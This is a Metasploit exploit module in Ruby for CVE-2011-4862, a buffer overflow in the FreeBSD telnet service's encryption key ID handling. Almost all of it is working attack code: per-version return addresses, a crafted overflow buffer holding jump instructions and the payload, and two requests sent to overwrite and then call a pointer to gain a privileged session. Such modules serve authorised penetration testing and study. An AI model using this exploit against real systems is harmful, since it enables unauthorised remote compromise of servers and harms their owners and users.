# -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Telnet
  include Msf::Exploit::BruteTargets

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the encryption option handler of the
          FreeBSD telnet service.
        },
        'Author' => [
          'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>',
          'Brandon Perry <bperry.volatile[at]gmail.com>',
          'Dan Rosenberg',
          'hdm'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2011-4862'],
          ['OSVDB', '78020'],
          ['BID', '51182'],
          ['EDB', '18280']
        ],
        'Privileged' => true,
        'Platform' => 'bsd',
        'Arch' => [ ARCH_X86 ],
        'Payload' => {
          'Space' => 128,
          'BadChars' => "\x00"
        },

        'Targets' => [
          [ 'Automatic', {} ],
          [ 'FreeBSD 8.2', { 'Ret' => 0x0804a8a9 } ], # call edx
          [ 'FreeBSD 8.1', { 'Ret' => 0x0804a889 } ], # call edx
          [ 'FreeBSD 8.0', { 'Ret' => 0x0804a869 } ], # call edx
          [ 'FreeBSD 7.3/7.4', { 'Ret' => 0x08057bd0 } ], # call edx
          [ 'FreeBSD 7.0/7.1/7.2', { 'Ret' => 0x0804c4e0 } ], # call edx
          [ 'FreeBSD 6.3/6.4', { 'Ret' => 0x0804a5b4 } ], # call edx
          [ 'FreeBSD 6.0/6.1/6.2', { 'Ret' => 0x08052925 } ], # call edx
          [ 'FreeBSD 5.5', { 'Ret' => 0x0804cf31 } ], # call edx
          # [ 'FreeBSD 5.4',         { 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called)
          [ 'FreeBSD 5.3', { 'Ret' => 0x8059730 } ], # direct return
          # Versions 5.2 and below do not support encyption
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-12-23',
        'Notes' => {
          'Stability' => [ CRASH_SERVICE_RESTARTS, ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
  end

  def exploit_target(target)
    connect
    banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
    vprint_status(banner_sanitized)

    enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
    enc_keyid = "\xff\xfa\x26\x07"
    end_suboption = "\xff\xf0"

    # Telnet protocol requires 0xff to be escaped with another
    penc = payload.encoded.gsub("\xff", "\xff\xff")

    key_id = Rex::Text.rand_text_alphanumeric(400)
    key_id[0, 2] = "\xeb\x76"
    key_id[72, 4] = [ target['Ret'] - 20 ].pack('V')
    key_id[76, 4] = [ target['Ret'] ].pack('V')

    # Some of these bytes can get mangled, jump over them
    key_id[80, 112] = Rex::Text.rand_text_alphanumeric(112)

    # Bounce to the real payload (avoid corruption)
    key_id[120, 2] = "\xeb\x46"

    # The actual payload
    key_id[192, penc.length] = penc

    # Create the Key ID command
    sploit = enc_keyid + key_id + end_suboption

    # Initiate encryption
    sock.put(enc_init)

    # Wait for a successful response
    loop do
      data = begin
        sock.get_once(-1, 5)
      rescue StandardError
        nil
      end
      if !data
        fail_with(Failure::Unknown, 'This system does not support encryption')
      end
      break if data.index("\xff\xfa\x26\x02\x01")
    end

    # The first request smashes the pointer
    print_status('Sending first payload')
    sock.put(sploit)

    # Make sure the server replied to the first request
    data = sock.get_once(-1, 5)
    unless data
      print_status('Server did not respond to first payload')
      return
    end

    # Some delay between each request seems necessary in some cases
    ::IO.select(nil, nil, nil, 0.5)

    # The second request results in the pointer being called
    print_status('Sending second payload...')
    sock.put(sploit)

    handler

    ::IO.select(nil, nil, nil, 0.5)
    disconnect
  end
end